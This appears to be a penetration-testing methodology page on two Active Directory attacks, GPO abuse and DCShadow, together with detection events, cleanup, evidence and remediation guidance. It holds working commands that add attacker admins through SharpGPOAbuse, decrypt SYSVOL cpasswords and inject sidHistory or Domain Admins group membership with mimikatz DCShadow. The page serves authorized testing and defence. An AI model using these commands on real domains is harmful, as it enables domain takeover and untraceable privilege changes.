Active Directory Exploitation
Two directory-level techniques have no other home in this section: modifying Group Policy to execute code as SYSTEM across an OU, and registering a rogue DC to write changes that replicate like any other DC's. Both change the directory rather than a host, and both are the difference between holding domain credentials and controlling the domain.
Danger
Where Each AD Attack Lives
This page used to re-teach DCSync, ACL abuse, the ADCS ESC families and shadow credentials. Those are taught once, in the pages below, and the copies here had drifted out of step with them — so they are gone rather than duplicated. Use this table to get to the page that owns the mechanic.
| Attack | Taught in depth at | What it gives you |
|---|---|---|
| DCSync | 05g — Credential Dumping, 06d — Domain Dominance | Every hash in the domain over the replication protocol, without touching NTDS.dit on disk |
| ACL abuse | AD Attack Paths — ACL Abuse | GenericAll, WriteDACL, WriteOwner and ForceChangePassword turned into a path |
| ADCS (ESC1/4/6/8) | 05i — ADCS Attacks | A certificate for any account, valid for the template's lifetime |
| Shadow credentials | 05j — Shadow Credentials | A key credential on msDS-KeyCredentialLink that authenticates as the target |
| Delegation abuse | 05k — Delegation Attacks | Impersonation through unconstrained, constrained and RBCD configurations |
| Coercion | 05n — Coercion Attacks | A machine authentication you can relay or capture |
Tooling
SharpGPOAbuse
Modify a GPO you can write: local admins, startup scripts, scheduled tasks
github.com/FSecureLABS/SharpGPOAbusemimikatz
DCShadow: declare a change, then push it as a replica
lsadump::dcshadow
GPO Abuse
A GPO is two rights, not one. Editing the policy means write access to the GPO object and to its
files under SYSVOL\Policies\{GUID} — GenericWrite,
WriteProperty or WriteDacl on the GPO. Making it do anything means a
link, which is a write to gpLink on a site, domain or OU. Editing a GPO nobody
links changes nothing; linking a GPO you cannot edit changes nothing. The exploit is the pair, and
the scope of the finding is the link target: a GPO linked at the domain root applies to every
computer and user in the domain, not just the OU you happened to notice.
Timing decides which mechanism to use. Computer policy refreshes every 90 minutes with up to 30
minutes of jitter (every 5 minutes on a DC), so a Restricted Groups or startup-script change waits
for the next refresh and, for a startup script, for the next boot. SharpGPOAbuse's
--AddComputerTask writes an immediate scheduled task through Group Policy Preferences
instead, which fires at the next refresh without needing a reboot. Either way the payload executes
as SYSTEM — there is no local exploit
in the chain, which is why GPO write access is treated as equivalent to local admin on every host
in scope.
Find a GPO You Can Write
# PowerView — GPOs where you hold write rights, and who is in the link
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs |
Where-Object { $_.ActiveDirectoryRights -match 'WriteProperty|WriteDacl|WriteOwner' } |
Select-Object ObjectDN, SecurityIdentifier, ActiveDirectoryRights
# Which OUs (and therefore which computers) a GPO applies to
Get-DomainOU -GPLink "*{GPO-GUID}*" | Select-Object name, distinguishedname
Get-DomainOU -GPLink "*{GPO-GUID}*" | ForEach-Object {
Get-DomainComputer -SearchBase $_.distinguishedname | Select-Object name
}
# BloodHound — does a write edge to a GPO reach a privileged OU?
MATCH p=(u:User)-[:GenericAll|GenericWrite|WriteOwner|WriteDacl]->(g:GPO)
RETURN pExploit the Write
# Add a local administrator to every machine the GPO reaches
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount attacker --GPOName "Workstation Baseline"
# Startup script — runs as SYSTEM at next boot
SharpGPOAbuse.exe --AddComputerScript --ScriptName startup.bat --ScriptContents "net localgroup administrators CORP\attacker /add" --GPOName "Workstation Baseline"
# Immediate scheduled task — next refresh, no reboot needed
SharpGPOAbuse.exe --AddComputerTask --TaskName "Inventory" --Author "NT AUTHORITY\SYSTEM" --Command "cmd.exe" --Arguments "/c net localgroup administrators CORP\attacker /add" --GPOName "Workstation Baseline"
# Push the change from a host you control (only affects that host)
gpupdate /force
Read access to a GPO is a credential finding as well as a policy one. Older estates still carry
Group Policy Preferences passwords in Groups.xml and friends under
SYSVOL, encrypted with a key Microsoft published in 2012 (MS14-025 stopped new ones
being written in 2014; it did not remove the existing files). Nothing needs to be decrypted on the
host — the file is readable by any authenticated user who can list the policy folder.
# Legacy GPP passwords left in SYSVOL
findstr /S /I cpassword \\corp.local\SYSVOL\*.xml
# Decrypt a cpassword from the XML
gpp-decrypt 'j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw'Warning
SYSVOL\Policies\{GUID}\Machine plus a GPO version bump. Remove the preference, script
or Restricted Groups entry, raise the version again so clients re-apply the corrected policy, and
re-read the GPO from a client to prove the entry is gone.
DCShadow
Normal directory changes are attributable: change a user's group membership and the 5136 event names your account as the subject, and the 4728 that usually precedes it names it again. DCShadow removes that attribution. It registers a temporary rogue DC, then uses the replication protocol (DRSUAPI) to push an attribute value into the directory, so the change is written with the rogue DC as the originating DSA — and replication traffic is what a DC expects to receive from another DC.
It is not a privilege-escalation primitive: DCShadow makes a change you are already entitled to make
without the usual audit trail, which is why it targets SID history, primaryGroupId and
replication rights. Prerequisites are steep — Domain Admin or equivalent rights to create a server
object and replicate, and SYSTEM on a real DC for the push half.
The operation is always two contexts. One mimikatz declares the object, attribute and value and stands up the rogue DC; a second, running as SYSTEM on a domain controller, tells it to push. The change then carries the rogue DC's replication metadata, so it looks like it arrived from a peer.
# Context 1 — declare the change (Domain Admin); this starts the fake DC
mimikatz # lsadump::dcshadow /object:svc-backup /attribute:primaryGroupId /value:512
# Grant SID history instead — historic SID resolves to Domain Admins
mimikatz # lsadump::dcshadow /object:svc-backup /attribute:sidHistory /value:S-1-5-21-1111111111-2222222222-3333333333-512
# Context 2 — as SYSTEM on a real DC: replicate the change in
mimikatz # lsadump::dcshadow /pushDanger
nTDSDSA child, the attribute change carries replication metadata naming that DSA,
and a malformed object can stop replication for the partition. Record the object, the attribute,
the old value and the new value before you push — that record is the only reliable way to undo it,
and the rogue DC registration has to be removed explicitly.
Detection & Blue Team
| Signal | Event / artefact | What it catches |
|---|---|---|
| GPO object modified | 5136 on CN=Policies,CN=System |
Version bump and gPCFileSysPath changes. Alert on edits by accounts that do not normally manage policy. |
| SYSVOL file written | 5145 (Detailed File Share) | The preference, script or task file itself — the change that actually executes. |
| New policy applies widely | Group Policy operational log on clients | Which GPOs each host applied and when, turning "when did this appear" into a query. |
| Rogue DC registered | 5137 / 5136 under CN=Servers |
A server object and nTDSDSA child appearing for a host that is not a known DC. |
| Replication from a non-DC | 4662 + DS-Replication GUIDs | A caller requesting replication rights that is not a DC machine account, or a change whose originating DSA is not in the DC list. |
| Replication metadata | repadmin /showobjmeta | The snapshot view after the fact: which DSA last wrote each attribute, including a rogue one. |
Tip
Cleanup
- GPO: delete the local-admin entry, preference file or scheduled task, then force a policy refresh on a host in scope and confirm the setting is absent.
- GPO version: the version number must move again after the removal, or clients will not re-apply the corrected policy.
- DCShadow: restore the recorded previous value, then remove the rogue server object and its
nTDSDSAchild and confirm withrepadmin /showreplthat replication is healthy. - Evidence: keep the before/after attribute values and the object paths — they are the finding, and they are also the proof that cleanup happened.
Evidence Collection
GPO: object, link and version:
The GPO's GUID, the site/domain/OU it is linked to, its version number before and after, and the file written under SYSVOL\Policies. The link target is the impact: a GPO at the domain root applies to every machine in the domain.
DCShadow: the four values: Object DN, attribute, old value and new value, plus the rogue DSA name, recorded <em>before</em> the push. Nothing else lets the client undo the change, and nothing else proves what was written.
Cleanup proof:
The corrected GPO read back from a client (gpresult /r) with the entry absent and the version bumped, or the restored attribute value confirmed with repadmin /showobjmeta.
CVSS range:
Write access to a GPO linked at the domain root: 8.8 | DCShadow injecting sidHistory/primaryGroupId: 9.1, noting it requires Domain Admin or equivalent to attempt
False Positive Identification
-
A writable GPO that is not linked:
Write access to a GPO with no link is a permissions-hygiene finding, not code execution. Check
gpLinkon a site, domain or OU before claiming reach. - A linked GPO you cannot edit: The exploitable condition is the pair. Half of it rates as delegation to review, not as a compromise.
- A GPP cpassword for a retired account: The file is still a finding - it should not exist - but the credential may be disabled. Verify before rating it as an exposed password.
-
A DCShadow push that never replicated:
If the rogue DSA could not replicate, nothing was written. Confirm with
repadmin /showobjmetathat the attribute value actually changed on the target DC.
Testing Checklist
Both techniques on this page are only proved by a read-back: the setting that applied on a client, or the attribute that replicated on a DC.
GPO abuse
- ☐ The GPO is confirmed both writable by your account and linked at a site, domain or OU before anything is pushed - write access alone is permissions hygiene.
- ☐ The pushed setting is read back on a client with
gpresult /raftergpupdate, not inferred from the server side. - ☐ The GPO's version number before and after is recorded, along with the file written under SYSVOL.
- ☐ Cleanup restores the setting and the read-back proves the entry is gone.
DCShadow
- ☐ The rogue DSA registers (
!+succeeds) and the pushed attribute appears on the target DC. - ☐ The change is confirmed with
repadmin /showobjmeta; a push that never replicated wrote nothing. - ☐ Object DN, attribute, old value and new value are recorded before the push, so the client can undo it.
- ☐ The originating DSA is not in the DC list when the metadata is reviewed - that discrepancy is the only durable trace.
Remediation
Group Policy
- • Delegate GPO edit rights per OU rather than at the domain root, and remove
GenericWrite/WriteDaclfrom anyone who does not manage policy. - • Alert on
5136underCN=Policies,CN=Systemand on5145writes toSYSVOL\Policiesoutside a change window. - • Delete every
cpasswordfrom SYSVOL and rotate the accounts it exposed; MS14-025 stopped new ones but did not remove the old.
DCShadow
- • Restrict who can create server objects and
nTDSDSAchildren — that right is the precondition, and almost nobody needs it interactively. - • Alert on
5137/5136underCN=Servers, and on4662replication requests whose caller is not a known DC machine account. - • Review replication metadata for attribute changes whose originating DSA is not in the DC list; that is the only durable trace DCShadow leaves.